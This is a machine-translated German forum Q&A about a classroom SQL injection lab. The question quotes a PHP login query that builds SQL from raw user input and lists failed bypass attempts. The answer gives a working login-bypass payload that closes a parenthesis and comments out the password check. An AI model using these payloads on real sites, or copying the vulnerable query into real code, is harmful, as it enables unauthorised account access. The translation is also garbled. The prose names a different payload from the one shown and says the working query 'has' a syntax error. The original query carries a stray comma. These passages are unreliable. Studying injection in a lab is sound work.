SQL-Injection Troubles

Question

Wir arbeiten an einem Labor in der Klasse und ich kann nicht finden, was ich vermisse. Der folgende Code ist eine SQL-Abfrage für die Authentifizierung von Benutzern:

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, 
    FROM USERS_TABLE 
    WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 
    $chk = mysql_fetch_array($sel1); 
    if (found one record) 
    then {allow the user to login} 

Wir sollen eine SQL-Injection-Schwachstelle finden, das ich glaube, liegt in:

WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 

sie auszubeuten sind wir im Grunde soll Melden Sie sich bei einem Admin-Profil auf einer Website mit einem ziemlich generischen Benutzernamen und Passwort an. Die gegebene Information ist, dass wir wissen, dass der Profilname admin ist. Und wir sollten nur den Benutzernamen auf der Website nutzen.

Nach dem Lesen des folgenden Artikels Security Idiots und ein Abschnitt aus einem Buch Penetration Testing Ein Hands-On Einführung in Hacking von Georgia Weidman. Dies sind einige der Dinge, die ich versucht:

• admin' OR 1--
• admin '-
• admin' AND 1 = 1--

Und viel mehr Variationen Dies. Mein Verständnis ist, dass ich das admin-Profil auswähle, das diesen Abschnitt mit dem "'" vervollständigt, dann true und den Rest des Codes in dieser Zeile tötend. Aber nichts, was ich versuche, scheint zu funktionieren.

Es ist auch wichtig zu beachten, dass wir für dieses Labor speziell konfigurierte virtuelle Maschinen haben, die diesen Angriff ermöglichen.

Also bin ich auf dem richtigen Weg oder verstehe ich nicht die Logik hinter einem SQL-Injection-Angriff. Ich suche nicht unbedingt nach dem Code, nach dem ich suche, aber ich mache mir Sorgen, dass ich in die falsche Richtung gehe und etwas vermisse.

Jede Hilfe wird sehr geschätzt. Und ich würde mich freuen, etwas näher zu erläutern. Danke.

Answer 1

Dank Azi für das Aufzeigen des Problems mit dem Raum.

Die SQL Sie soll wo war knacken

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = '$user' OR email = '$user') AND pass = '$pass' 

Jede der admin' OR 1--, admin'--, admin' AND 1=1-- würde, weil nicht funktionieren, wenn user Variable mit diesen Eingängen die Aussagen

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass' 

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’ 

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’ 

Alle werden ersetzt wird davon sind Syntaxfehler seit geöffneter Klammer ( nicht geschlossen

Wenn Sie admin'-- (Raum geben am Ende Ihrer Eingabe ist wichtig) geben die Eingangsrechnung wird

SELECT ID, name, locale, lastlogin, gender 
FROM USERS_TABLE 
WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’" 

Die SQL-Syntax-Fehler hat und den Datensatz mit Namen als Admin auswählen.